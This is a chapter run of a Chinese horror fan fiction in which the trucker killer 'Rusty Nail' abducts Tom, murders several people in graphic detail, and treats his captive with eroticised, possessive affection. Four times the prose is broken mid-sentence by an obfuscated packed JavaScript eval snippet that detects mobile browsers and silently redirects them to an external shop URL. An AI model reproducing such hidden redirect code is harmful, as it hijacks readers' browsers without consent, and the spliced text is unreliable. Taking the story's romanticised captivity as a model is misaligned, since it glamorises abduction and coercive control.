仓库看起来有些年头,内里空旷,灰尘布满角落,看上去脏兮兮的。汉斯检查过后,找了把椅子,简单擦干净后让汤姆坐着。巴纳多和库克则在仓库内来回踱步。 他们要放弃我了。 汤姆心里一直循环着这句话。 汤姆,你成了累赘…… “No!please,no.” 汤姆不知道自己在请求什么,控制不住的求生本能催促他发出声音。声音愈来愈大,就像孩童尖叫似得刺耳,可—— 没有一个人骂他。 没有一个人理他。 为什么?为什么不喝止他!? 骂他呀! 库克!巴纳多! 还有汉斯! 别,别不理他。 他们的纵容,仿佛是对将死之人的宽恕,让汤姆浑身恐惧发麻。 汉斯无奈,他知道自己给不了汤姆承诺。只用那双眼睛上上下下端详着汤姆,仿佛他们将再也不见一样。 突然,库克猛地起身,眼珠骨溜溜转动,像猎犬左右逡巡。 “我听到了......我听到了!是艾丽莎的声音,” 汤姆并没有听到什么动静。但他咬紧下唇,止住哭喊,渐渐的,他也听到愈发明显的求救声。 “库克,救命!救救我!快啊......” “艾丽莎!是艾丽莎!?”库克步伐急促,循声离开仓库。巴纳多阻止不住,只能咬咬牙,跟上去。 他们两个关心则乱,什么武器都没带,而这是个很明显的声东击西,汉斯心想。他拉开枪的保险栓,离开前回头仔细凝视了一眼汤姆,在汤姆绝望的目光中走出仓库。 在他们走后没隔多久,铁锈钉高大的身影悄无声息出现,一只手拦腰抱起汤姆,将汤姆扛在肩上。他没走正门,因为他听到汉斯的脚步声消失在仓库大门口。这意味着什么,不言而喻。 可惜,汤姆不知道。他心如死灰,一动不动地随铁锈钉动作,全然放弃了挣扎。 4. 致命玩笑04 【“No police.”这是铁锈钉提出的唯一规则。 结束通讯后,巴纳多和库克一直在骂骂咧咧——铁锈钉提出巴纳多和库克在指定地点,一个女装一个裸/体。这个离谱要求,有点自尊心的人都会难以接受,更别提他们两人本就高傲。光是想到那几个词,他们就感到一阵作呕。 “我们报警吧。锈铁钉再厉害能比得过警察?” 他们两这时惦记起警察的好了,艾丽莎却忧心铁锈钉的报复——她还沉浸在汤姆死亡的恐惧中。 那是汤姆过于懦弱无能!巴纳多摆出不屑一顾的架子,如果是自己肯定能和铁锈钉好好周旋,指不定受伤的会是谁呢! 库克眉头耸得像两头打架的公牛,在女友和兄弟间左右为难时,汉斯的突然出声,让他大舒一口气。 “前方有辆公路巡逻车。” 这个巧合,仿佛是上帝精心设计一样,让艾丽莎哑然。 巴纳多趾高气昂地哼哼了几下。 经过鸡飞狗跳的紧张对峙,警察确认汉斯一群人无害后,放下枪。 报警成功了! 公路分叉口打来车辆前照灯的光,照亮他们肉眼可见的放松神情。 众人喜形于色,你推我攘地回到车内准备跟上警察,刚刚启动引擎,就见行来的卡车横冲直撞,把警车撞成两截,在火光冲天中恍若无事发生般,继续驰入夜色。 过了会。 “呼!”车内一声急喘,唤醒憋气的众人,他们纷纷大口大口喘气。没等他们理清头绪,无线电滋的一声响起—— “You broke the rules.” “Now one of you is gonna have to pay with a lot more than just a fucking car.”】 久等在仓库外的汉斯,在迟迟没见铁锈钉身影时,意识到不对,果断进入仓库,汤姆已然不见人影。他只能转身,去找库克他们会和。 仓库旁是垃圾场,汉斯没费多大力气,就找到颓然坐在地上的库克和巴纳多,听两人嘶哑着声音诉说刚才的经历—— 刚刚库克和巴纳循声而来,发现艾丽莎的声音从正要投入粉碎机的汽车里传来。情况紧急,他们来不及多想,费力停下粉碎机的运。 然而打开车门后,别说艾丽莎了,一个人影都看不到!只有录音机还在不断循环:“库克,救命!救救我!快啊......” 他们头一次被耍的这么彻底。 相较于国内的平头卡车,北美地区向来对长头重卡情有独钟,铁锈钉的卡车也不例外。 这是一辆彼得比尔特389型重卡牵引车,人们或许更熟悉他的另一个名字,擎天柱,家喻户晓的变形金刚。它外形粗犷,卡车头超过29英尺。驾驶座后配备有生活舱,但车的主人明显不会享受,空荡荡的卡车地板上,只摆放了张简陋的卧铺。 ——汤姆就正躺在上面。 他被绑的四肢因为血液循环不畅,有些发麻,连带着也影响了头似得,脑子动不了,只能出神地看着地板。 忽地,金光跃进卡车铺上地板。 汤姆顺着光,透过前风窗看到天边晚霞。 已经这个点了吗?他恍恍惚惚,大脑迟钝地思考:昨天这时,他们还在兴致勃勃开玩笑。可是谁知道,就是这个玩笑让他们惹上了铁锈钉...... 汤姆的目光凝住了——驾驶座空无一人。 仿佛嗅到希望,汤姆的呼吸有些急促。他重振旗鼓,要不是被绳子束缚着,能直接一个鲤鱼打滚站起来。不过现在也不差,汤姆腰部施力,从床上腾地坐起身。 他小心观察周围,铁锈钉将车停靠在加油站,自己却不见踪影。 他是有事绊住了?还是潜伏在暗处观察? ——不管了!赌一把。 汤姆视野受限与卡车,但这也足够让他瞧见,不远处正拿着加油枪的年轻哥们。 他尝试扭动四肢,手脚紧贴着身体被捆的结结实实。 好吧,那就只能—— 汤姆身子歪歪倒倒,一蹦一跳,噔噔蹭到卡车驾驶座后,上半身倚在靠背上。 在他犹豫要不要大叫吸引注意力时,仿佛是老天爷的旨意,那人正巧抬头,对上汤姆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981986|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线。 汤姆看到那人眼珠子都快瞪出来了。直到加油枪掉地的脆响,让他一个激灵,赶紧跑步过来,一边迈开腿一边挥舞胳膊,“Hey!你没事儿吧?你被绑架了是吗?” “是的!拜托!请救救我!”汤姆拼命点头。 年轻人咧嘴露出一口白牙,带着让汤姆迷惑的兴奋劲,安慰着:“你别担心,我这就救你出来。”打不开车门,“呃,你等等哈,我看看周围有没有石头什么的。“ 汤姆心里蓦地涌上不详的预感,他说:“等等,你别管我,你先离开这里,去报警。” “对哦!要报警!”这个美利坚大男孩恍然大悟,那口白牙明晃晃的,“不过不用去别的地方,我有手机的,”他低下头准备掏出手机,错过了汤姆瞬间睁大的眼睛。 被铁链缠上脖子,脑袋后仰,这个脑袋仿佛一根筋的青年才发现汤姆吓得直喘气。他唇瓣张合“……”别愧疚,但嗓子完全失音,脑袋也充血炸裂似的头疼。他只能牢牢盯着汤姆,希望通过对视传递自己的想法。 汤姆对视了,青年面庞青紫肿胀,喉间血肉模糊,眼珠凸出凝视自己——死不瞑目。他惊惧得四肢发软,瘫倒在地,喉间呼哧呼哧作响,死死咬着腮肉,俨然是被愧疚折磨。 锈铁钉拉开车门,进入安全舱,身体背光,整个人笼罩阴影里,汤姆看不到他面部表情,自责的情绪让他自暴自弃:他刚刚害了人,他也活该被铁锈钉所害。 “小甜心,你并不安分。” 饶是做好去死的准备,铁锈钉一开口,那粗粝的、天然的恐怖腔调,让汤姆无意识蜷缩着身体后退。 铁锈钉没有动手,反而带了点惆怅:“我不想打昏你——你太弱了,禁不住我的一拳。” “所以......” 奇怪的东西被铁锈钉抛掷到汤姆面前。夕阳光下,汤姆看得再清楚不过—— 被撕裂的、连骨带肉的下颚。 整齐的牙齿渗满血,一片唇瓣焉巴巴垂落,裂口处均匀的裂骨,让人胆战心惊地感知到凶手骇人的力气。 “呜啊!” 汤姆吓得一口气没喘上来,昏厥过去。 5. 致命玩笑05 【夜色阴沉,暴雨倾盆而下。 “想找个伴儿吗?” 司机没回复,菲奥娜扬起的笑容有些僵住,不会遇上一个坐怀不乱的吧?可这人也没赶她...... 她试着拉开车门——门没锁。 哈!假正经,菲奥娜暗自诽谤,动作麻利地爬进卡车。她坐上副驾驶,一遍整理濡湿的卷发,一边亲昵地说:“这天可真糟糕,是吧?” 没得到司机的迎合,菲奥娜悻悻地脱掉外套,露出光滑的肩膀和丰满的胸/脯。 司机不为所动,菲奥娜失了耐心,直切正题:“$75 for a straight fuck,$50 for a Bj ,$25 for a pump and run.” 铁锈钉打开副驾驶座的车窗:“Get it wet for me.” 哈?!莫名其妙! 铁锈钉再三自顾自的举动激怒了菲奥娜,她胸脯起伏,无语得要下车,车门纹丝不动,她转头怒视铁锈钉。 “There’s your exit.”一根粗硬的手指指向窗户。 菲奥娜又惊又气,见这人还真没开玩笑,嘴里咒骂不停,抓起外套搭在肘间,翻身握住卡车外侧扶手。爬到一半时,车窗突然上升,她腰间被卡住,随着卡车启动,潮湿的雨水扑面而来。 “啊啊啊!”】 在汤姆昏迷的这段时间,库克和巴纳多可谓是饱受煎熬。酒馆内的人们把他两从头到脚一个打量,心照不宣中,窃窃私语起来。 库克和巴纳多要忍受着这些时不时投来的自以为隐蔽的怪异目光,还有那些并未过多遮掩的评头论足声。 ——这群人以为自己很了不起吗?没事儿干了吗!?一群只知道指指点点他人的蠢货!他们又鄙夷又难堪地想着。 好不容易收到结束的讯号,两人从椅子上一跃而起,捂面的捂面,遮跨的遮跨,脚下生风,步履匆匆地离开,风风火火地刚上车,就听见无线电传来铁锈钉的新要求: “凌晨六点前,前往Room 20.” 汤姆醒来,四肢依旧被绑着,嘴巴还多了团麻布。 他大脑昏沉,眼前黑魆魆的,一时想不起自己在什么地方,抬起头,已经是晚上了。浓黑的夜色衬得月亮更为剔透皎洁。自己蜷缩在黑暗里,月光照亮他前方几寸的卡车地板。 之前发生了什么? 汤姆目光落到地面,旋即像被针扎了般,头脑猛地清醒—— 他求救了,然后……害死了一个无辜的人。 地板上吓晕他的下颚不见踪影,只留下干涸的血迹。 铁锈钉又不见了,卡车停靠的地方,不像之前荒无人烟的加油站,汤姆能够听到大大小小的喧哗声。但——汤姆把头埋进被褥,泣音从牙关里泄出。 他不敢再求救,谁知道神出鬼没的铁锈钉这会是不是又藏在暗处悄悄窥测他的一举一动。他不想再连累无辜的人。 汤姆身体里的某一部分仿佛随着那人的死亡,一起消逝了。 “哒哒哒......” 是铁锈钉回来了吗? 距离拉近,声音愈发清晰—— 不! 这是高跟鞋的声音。 来人径直走到副驾驶门处,试探拉车,发现没锁后,动作自然地上了车门。她对着后视镜补妆,明晃晃的月光倾洒在她身上,汤姆看到这是个金发碧眼的俊俏女人。 他心惊肉跳,两眼紧紧盯着,满腹疑惑。 她为什么上了铁锈钉的车? 她和铁锈钉有什么关系? 她知道铁锈钉的本性吗? 汤姆手指抽动,心里乱作一团,眼睛传来涩意:我需要提醒她吗?但……万一他们两就是一伙的呢? 这时女人整理完仪容,满意微笑,露出白净美丽的牙齿。 汤姆脑袋一声轰鸣—— 布满血色的下颚牙齿和女人完好的漂亮牙齿来回交错。身体痉挛似的开始抽搐,他拼命扭动四肢,“唔唔……”快!离开这里! 仓促间,“嘭”,从床上咕噜滚下。 “啊!什么声音?女人受惊回头,驾驶座后方模模糊糊。她打开手机的光,划过椅背,正要往响声处一照。 “哒哒……” 驾驶座那一侧传来的声响,让女人下意识猛地转身熄灭手机。 下一秒,驾驶证的门被拉开。铁锈钉一条大腿跨进车门,顿住,视线在女人和后面的车厢徘徊。 “Hey,”女人瞧见锈铁钉,登时忘了刚才的异响,调/情道:“需要陪伴吗?” 原来他们并不认识啊。 完了。 汤姆把脑袋深深缩进脖子里,整个人仿佛要和卧铺垂下的被褥融为一体。 这样也好,就让他做个没有生命的物件吧。 没有多余的感情。 ——“你在开玩笑吗?”不敢置信到破音。 什么都不会听到。 ——“You fucker!”咒骂的女声。 就不会这么愧疚…… ——“啊啊啊啊!” “呼呼哈……”汤姆大喘一口气,他差点憋死在被褥里。他不敢看前方发生了什么,打算继续把自己团成一团,缩在角落里。 弓着腰进入安全舱的铁锈钉见了,喉咙滚出一声轻笑,伸手勾着汤姆的大腿将人捞起,抱回驾驶座。 汤姆不知道铁锈钉要干什么。他闭着眼,臀/部坐在铁锈钉硬邦邦的手臂上,指尖攥着男人的衣服。从刚才凄烈的尖叫中,他知道那女人凶多吉少了。汤姆怕自己掉下去碰到某些可怕的东西。 在驾驶座上坐稳后,铁锈钉说:“你又在求救。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981987|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔唔。”不,我没有! “真的吗,汤姆?”铁锈钉强硬地捏着汤姆下巴,将其转朝副驾驶,“睁开眼。” 汤姆睫毛打颤,眼皮微微露出缝隙——截断的人体下半身,两条腿还在重复生命停止前机械性的抽动。 腾地合拢眼皮,汤姆眼前发黑,栽倒进铁锈钉胸膛。他嗓子里发出呜咽,像是泻气后瘪瘪的气球一样,底气不足地质问自己: 人都是自私的,我当时真的没有求救的想法吗? 是不是当时我没弄出声吸引她的注意力,她就不会死了? 汤姆越细想,悲伤越难以遏制。很快止不住的抽泣,响彻在方寸的驾驶室内。这哭声一部分因为害怕,更多的是内疚。 见人哭得气喘吁吁,泪水横流,铁锈钉缓缓地开口,安抚:“只要你别想着逃跑,就不会有无辜的人因你而死去。” 他刚从外面回来,胸膛衣物是冷的,凉意似乎顺着拥抱渗透进汤姆的肌理。汤姆的心越来越沉重。这沉重完全没法忍受,他的呼吸时而急促,又陡然停止,在快把憋晕过去时突然喘气。整个人疲惫不堪地缩在铁锈钉怀里。 这么害怕?铁锈钉爱/抚地将掌心拢在汤姆后颈处,心想,这可不行。 汤姆再次醒来时,手脚被严丝合缝绑在板凳上,一把枪就摆在面前,洞口对准自己额头。 他呼吸促迫,差点一口气上不来,又要晕过去。勉强深呼吸镇定下来,观察四周,一面身子实诚地打着寒战。汤姆注意到枪的扳手套着绳结,和门把手连接。而门旁边,是铁锈钉—— “小甜心,你还希望他们来救你吗?”他好整以暇开口。 汤姆一下明悟这个机关意义所在。他手脚冰凉,连连摆头,一种将要大难临头的感觉沉甸甸压在胸口。 与此同时,在各家旅馆找了一晚上的汉斯三人,顶着憔悴面容,终于来到了这里。 他们熟悉的脚步声,从没有这么一刻,让汤姆惊惧。 不!别救他...... 他们走进了,汤姆听到迫近交谈呼喊声—— “就是那间房。” 整夜的搜寻,让汉斯几人行动僵硬,变得机械化起来——发现旅馆,下车,找到20房,呼喊,打开/房门,然后重复这一套行为。 随着疲惫的累增,他们直接跳过呼喊,直接了当地冲到房门口,扭开门把手。就如此刻—— 汤姆听到门把手转动的声音,气促心跳,恐惧让他的大脑一片空白。这一瞬间,加油站工作人员、搭车的女人面容在眼前不断闪现。他的悔恨到达了顶峰: 汤姆你不该求救。 这样的话,他们都不会死去。 铁锈钉也没有杀你…… 你不该求救的。 不该……想着离开。 “咔哒。”门开了。 “嘭!” 6. 致命玩笑06 “On!No!” 库克撕心裂肺地大吼:“艾丽莎!我的艾丽莎!!” 他踉踉跄跄,几近爬过去,手打着颤,抚摸上女友尚且温热的脸颊,不断揩去额间洞口淌出的血。 这一幕太荒唐了。汉斯和巴纳多不忍直视,无声地偏转视线,装作打量四周。 艾丽莎两眼直瞪,呼之欲出的眼珠子里写满痛苦和惊慌,库克在她的目光下,肩膀越来越沉重。扑通的一声,他跪倒在椅子面前,后背的两块肩胛骨把衣衫顶出山脊似的弧度。两臂垂下,鲜血顺着手掌弧度,从指尖滴落,将地毯上的细软绒毛压成一团团斑驳。 库克动静不小,声音清晰地传到对门,汤姆听个清清楚楚。他完全没有劫后余生的轻快,另一种惧怕涌上喉咙,无声抽噎垂泪:艾丽莎...... “叮铃铃。”座机响了。 库克直起身,飞也似的冲上去。幸好巴纳多在汉斯的示意下,及时伸脚阻止。跑得横冲直撞的库克,被这一绊,摔得不轻,在地上翻了几圈,咕噜噜的直直滚到床边。 “What the fu......” 巴纳多直接团起床单塞进库克口中,堵住了咒骂声。一路来,他们充分意识到凶手有多么不能被激怒。若是让库克接了电话,他这怒气冲冲的状态和口无遮拦的性子,指不定节外生枝,多出什么麻烦事儿。 可暴怒中的库克哪儿是这么容易对付的?要不是汉斯已经拿起话筒,巴纳多差点就要被掀翻。 座机开了免提:“这个玩笑开的如何?” “你知道的,对我们来说,这远远不止一个玩笑。”汉斯说。 “可我对来说,是。”铁锈钉的嗓音喑哑得像块漏风的破布,和他高大粗犷的外形很是契合,然而他又有种普通壮汉没有的、阴沉无礼的气息,这使得他在说话间,字字句句都透露出难以言状的傲慢,“That’s the point,get it?” 哈!他以为他很幽默吗!? 铁锈钉倨傲中又带着一丝促狭的话语,让年轻气盛的美利坚青年们愤慨极了。 “唔唔呸!Fu 唔唔......”巴纳多立刻从气愤中回神,对吐出床单的库克手脚并用,捂紧库克的嘴。 “好的,行。”汉斯额角直跳,说话竭力保持冷静:“那告诉我们,你接下来还要做什么?还有,汤姆呢?他在哪儿?还好吗?” 铁锈钉一副没听到的模样,自顾自地说:“想知道这个玩笑更有趣的点在哪儿吗?”他语气期待,“前晚,就是我和汤姆见面那天。你们在哪儿呢?呵......你们是在对门看着笑话上演是吧? ——不得不说,这确实有意思。” “哧哧......” 库克压抑不住的喘息声,宛若拉风箱似的愈来愈响,怒火让他的整个胸膛都鼓胀起来。他已然不再惧怕,失去恋人的痛苦、悔恨、愤怒......种种糟糕的情绪你拥我挤地往脑子里移动翻滚。 当偏激掌控了大脑,人便成了头野兽。 在高声怒吼中,库克手臂施力,将巴纳多掀翻在地。 “嗷!” 巴纳多的头撞上床脚,磕出青痕。他痛得两手抱头,面容扭曲,顾不上站起身的库克。而库克看也没看地上呼痛的巴纳多一眼,把脚一跺,气势汹汹迈步朝着对门走去。 “等等!库克!”汉斯拉住库克后,将呵斥转为轻声劝阻:“库克!冷静点,你还记得刚刚的机关吗?别冲动。” “哈?冲动?”库克愤愤不平,“你说我冲动?汉斯,你以为你很冷静吗?你要是真的冷静,当初怎么不制止我们开玩笑?现在装什么样?” 汉斯握住库克的手全然没有放松,但对库克锥心的话语,他并非一点触动都没有。汉斯眼睛里浮现愧色,从事情发生后到现在,他无疑是内疚的,然而也正是因此,他才要阻止库克。 “汉斯,你在担心什么?我去开门,有什么机关陷阱冲我来。你以前可不是这么瞻前顾后的人......”库克眯眼,愤怒让他此刻的神经一再绷紧,隐隐约约意识到汉斯遮掩的心思,“还是说,你在担心汤姆?” 他冰冷冷地说,“那就更可笑了,他的安危和我有什么关系?” “随你怎么想。”汉斯板着脸,没有放开擒住库克的手,“或许,我并不是在和你商量,库克。”他话锋陡然锐利,灰色得近乎黑烟般的眼瞳凝视着面前满面怒容的兄弟。 库克被这视线刺中了死穴般,身体僵硬,攥了攥拳,满不情愿地听从。 汉斯继续说:“我先去后面的窗户观察,咱们再行动。” 旅馆是一字型设计,许是因建在荒郊野岭,只有一楼。从外面环绕一圈,能毫无遗漏的找到每间房间的窗户。 临走前,汉斯不放心,补充了句:“巴纳多,你看着他。” 巴纳多朝汉斯比了个OK手势,目送汉斯转过走廊,“库克......”没等他转身,后脑勺猛地遭了一拳。 库克面无表情揉揉手腕,跨过躺在地上的巴纳多,走向对门。 终于,还是要来了吗? 汤姆听着粗重的脚步声,悲哀地想:这一回,不会再有意外了吧?铁锈钉不会再放过他了吧? 汤姆苦笑,仿佛预见了脑袋被子弹贯透、鲜血喷溅的结局。 他紧紧闭上眼等待着。 ——“咔哒。”门把手扭动的声音。 嗯? ——“吱扭。”门被打开的声音。 嗯嗯? 汤姆茫然张眼,和同样震惊的库克面面厮觑。 显而易见,机关跟个摆设一样,稳当当杵在那儿,半点都没被触发。 熟悉的景色,不一样的结果,让库克崩溃个彻彻底底。 “为什么?为什么你没有死?” 他周身抖个不停,歇斯底里地控诉:“你为什么可以活着?汤姆!?凭什么?” 汤姆心里难受得绞成一团,不光是因为库克刻薄的话,也关于死去的艾丽莎。艾丽莎是很讨厌没错,可他从未想过让艾丽莎死去。 忽然,暴怒中库克想通了什么似的,托长语调一字一顿地说:“我,知,道,了。” “汤姆,这一切就是你和铁锈钉搞得鬼吧?你们故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981988|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意合起伙来耍我们。”他越来越自信,叫嚣道:“我早该知道了,你是最有动机。也是,活人都该有点脾气,怎么可能真的会有一直忍气吞声的傻蛋?哈!看到我们一个个被你们耍得跟猴似得,你是不是痛快极了?” 汤姆的愧疚自责,随着库克越说越离谱的猜测,逐渐变为忿忿不平。库克把这当做被戳穿后的恼羞成怒,自得地骂了句:“Son of bitch!” 狂怒让他脸上恢复血色,库克抡起拳头,蓄集了全身的力道。青筋蟠曲的手背,让汤姆的气愤咻的一声蹿出胸膛。他惊恐瞪眼,眼睁睁看着拳头砸落—— 砸落到地。 库克整个人失去知觉,癞皮狗似的瘫在地上,露出身后还没放下胳臂的铁锈钉。 铁锈钉……救了他? 汤姆心脏痉挛般剧跳,被汗水濡湿的眼睫毛晃动,仿佛给铁锈钉的身影施上一圈光晕。 ——是铁锈钉救了他。 “呵。”铁锈钉给汤姆松绑,取下他口中的布,见汤姆还没缓过神,胸腔震动溢出一声沉闷的笑声。 不同于在电话内艾丽莎那次,哪里不一样汤姆说不上来,至少他这次感觉不到攻击性。 铁锈钉取下架起来的枪,带了几分温情地说:“枪,没开保险栓,也没有子弹。”他两手扯了扯枪扳手系着的麻绳,“这绳,实际上也是松的,”麻绳另一端末尾缠绕的门把手纹丝没动,“门把手,坏了。” “砰砰……”汤姆心跳快得好像要从肋骨里蹦出。 铁锈钉这是在跟他解释,不管怎么自己都会没有危险吗? 汤姆迟疑,不敢置信地盯着这位人高马大的杀人犯。而恶劣的杀人犯抛下这句搅乱人心的话,就径直出了门,只给汤姆留下个背影。 不知过了多久,心脏奇怪的跳动慢慢放缓,汤姆放下胸口的手,大脑变得清明。 他有些好笑:这危险,本来就是铁锈钉带给他的啊! 汤姆刚站起身,一手拖着一条腿的铁锈钉回来了。 ——是汉斯和巴纳多。 完了,一网打尽了。汤姆结结巴巴:“需、需要我昏、昏倒吗?” “你想晕过去?” 汤姆猛地想起铁锈钉上次的干了什么,连连摇头。 “要和我一起坐卡车回去吗?” 见汤姆没理解,铁锈钉从汉斯外套兜里摸出钥匙,递给汤姆,说:“那你先下去,我把家的地址发你。” “呃……然后我把车子开过去?” “不是过去,是回去。小甜心。——把车子开回家。” 汤姆完全不敢耍什么把戏,乖乖离开/房间,经过前台时,发现倒在血泊中的经理。他一口咬住手,强压下害怕,托着脚步穿过旅馆大门。 刚打开车门,坐上驾驶座,汤姆就陷入挣扎,脑袋有气无力地垂下。 要......报警吗? 一想到报警,他身体开始发抖,完全握不住方向盘。 不,铁锈钉肯定会跟着他的。 他不能报警。 也不能逃跑。 他不能拖累任何人。 7. 致命玩笑07 【原剧情:在公路上疾驰的汽车,仿佛浓浓黑夜中的一线月光,发出光亮的同时,逸散出喧哗的吵架、叫骂声。 “What the fuck?”巴纳多一拳砸在车靠背,“你刚刚不是不想报警吗?” 艾丽莎冷笑连连。之前她是心存侥幸,直到见识了铁锈钉嚣张的杀人架势,心灰意冷——铁锈钉不可能放过他们的。 汉斯劝阻艾丽莎无果,一行人最终分道扬镳,库克陪着艾丽莎下车。巴纳多故意掐着嗓,阴阳怪气地说:“就让他们去喂那该死的凶手吧!” 此时,没人能想到这是他们最后一次见库克和艾丽莎。 库克死于车下的千斤顶,艾丽莎被活生生烧死在车内。】 许是库克身体最为强壮,他率先从昏迷中醒来。然而,醒来后身处的陷境,让他恨不得两眼一闭再次昏过去。 库克侧着脑袋被卡在千斤顶托头和汽车底盘中间,像块陷入孔洞的木楔,他越是奋力挣扎,脑袋就越是结结实实摩擦着两侧坚硬的钢铁,耳朵及其头发连皮带肉模糊一片。 “Oh,God!No!” 库克边嚎边叫,拼命挥臂,似乎这样就能撑起车底,移出脑袋。半小时前还是个为了爱人而无所顾忌的野兽,在死亡面前,变得弱小怯懦。 “不!”他发出绝望的吼叫:“救命呀!救命呀!” “你可真幸运,库克。” 听到铁锈钉低缓的声音,库克第一反应不是害怕,而是情难自控地发出恳求的腔调:“对,对不起,拜托,铁锈钉,放,放过我吧......” 破音,颤音,错音,一句话漏洞百出。 “放过你?”铁锈钉踱着步走进,“你向小甜心挥拳的时候,没有想着放过吧?” 库克愣了下,才反应过来小甜心是谁。他惊疑不定:“你们真的是一伙的吗?”难不成自己的猜测竟然是真的? “一伙?”铁锈钉被逗笑了似的,满脸的络腮胡子便如同被风吹起的松针,一下一下地翘动着。他一手靠在卡车架上,微微垂下头,“我还要感谢你们,让我认识小甜心呢。” 铁锈钉那比野兽更锐利冷漠的视线打在库克身上,库克所剩无几的理智愈发溃散,他情不自禁地手脚抽搐般抖动,大脑艰难的啃啮着铁锈钉话里的含义,试图找出一线生机,于是库克便捉着感谢两个字,颠三倒四说起胡话来:“那,感谢的话,能不能放,放过我?!” “你似乎说的有点道理,”库克眼睛忽地发亮,可没等他放松,铁锈钉话锋陡然一变,“可惜,”他一面踩下千斤顶的压杆,一面平静而悠闲地说:“我不讲道理。” 千斤顶的托头以势不可挡的气势,缓慢而坚定地上升,隔着碎骨、脑浆与血液和汽车底座严丝合缝的贴在一起。飞逬出的眼珠撞到铁锈钉大腿,像是一只试图撼动大树的蚂蚁,反把自己磕绊到,骨碌碌滚落在地上,唯有粘液。 铁锈钉放下踩在压杆的右脚,指腹触碰屏幕,结束视频的拍摄。犹豫了一会,想到汤姆现在在开车,他熄灭了屏幕,抬脚离开。地面留下一滩烂肉,宛若被嚼烂的黄油薯泥丸。 ——所以,我还得感谢你是吗? 汤姆忍了又忍,才勉强咽下滚到喉头的话,扭头不看铁锈钉握着的手机屏幕。 这就发脾气了?铁锈钉若有所思。汤姆这点微不可察的脾气,他是纵容的。 铁锈钉掌心托着汤姆漂亮的好似象牙和玫瑰搓/揉而成的脸蛋,一边用粗糙的指腹摸来摸去,着重研磨两片饱满而绯红的唇瓣,一边若无其事地说:“汤姆,你本来可以救下他们的。” 汤姆皱起眉,不适应这种亲昵,几乎有些犯恶心,又不敢拒绝,只能把注意力放在铁锈钉说的话上,“救下谁?” “库克还有艾丽莎。” “我?我可以?”汤姆大吃一惊,乌黑的眼睛里透着怀疑。 ——不,汤姆,别天真了,怎么想都是假的。你瞧瞧汉斯、巴纳多他们,华而不实的漂亮话说的还不少吗?更何况铁锈钉可是个杀人犯! 铁锈钉察觉汤姆一想事情,就会不由垂下脑袋。 这可不是个好习惯,他想。手掌来到后脖,虎口压上那块的软肉,拇指和食指抵着汤姆下颔,轻轻往上一抬,迫使汤姆仰头。 在对视中,铁锈钉说:“是的,汤姆。你有这个能力,只要你跟在我身边,只要你说出来。” 汤姆抿紧唇,又动了动,似乎想说些什么,最终什么声都发不出来。这副双唇半开的表情,锈铁钉目光晦涩,按耐不住要有所动作时—— “这……哪儿?汉……你怎……这儿?”是巴纳多的声音。 声音从地下室传来,隔着厚重的地板,汤姆只能模糊听个大概。 铁锈钉遗憾地直起身,黑胡须覆盖下的嘴唇开合:“汤姆,你有这个能力。”边说边重重揉乱汤姆柔卷的黑发,话音一落,转身走向地下室。 汤姆望着铁锈钉的背影,踌躇了一阵,慢慢伸出脚,跟了上去。 汉斯和巴纳多是在一间类似储物间的房间里醒来,身前摆着方桌,桌子边缘处有着暗红色干涸的污迹。一盏小吊灯被系在方桌上方的天花板处,光线昏暗,但也足够让他们看到彼此的处境。 他们面对面,绳索栓住了手腕,下半身被捆在椅子上,稍微一动,木椅便咯吱作响。 汉斯忽略掉沉浸在绝望中而大叫痛哭的巴纳多,两只眼睛四处扫视,四周摆着各种铁具,墙壁上写满刺目的红字。 他凝神细看时,“嗒嗒”,沉重的脚步声响起。 巴纳多止住哭喊,心惊胆战地看着铁锈钉走到方桌中间。 这是个身体高大目光冷漠的刽子手。他的头高过了垂下的吊灯,因而当他在方桌边立定时,他们很难看清铁锈钉的面容神色。 “我们玩个游戏。”铁锈色摊开掌心,落下两颗红色骰子。 汉斯问:“什么游戏? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|11981989|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 铁锈钉没回话,将手示意地放在巴纳多肩膀上,说:“你先来。” 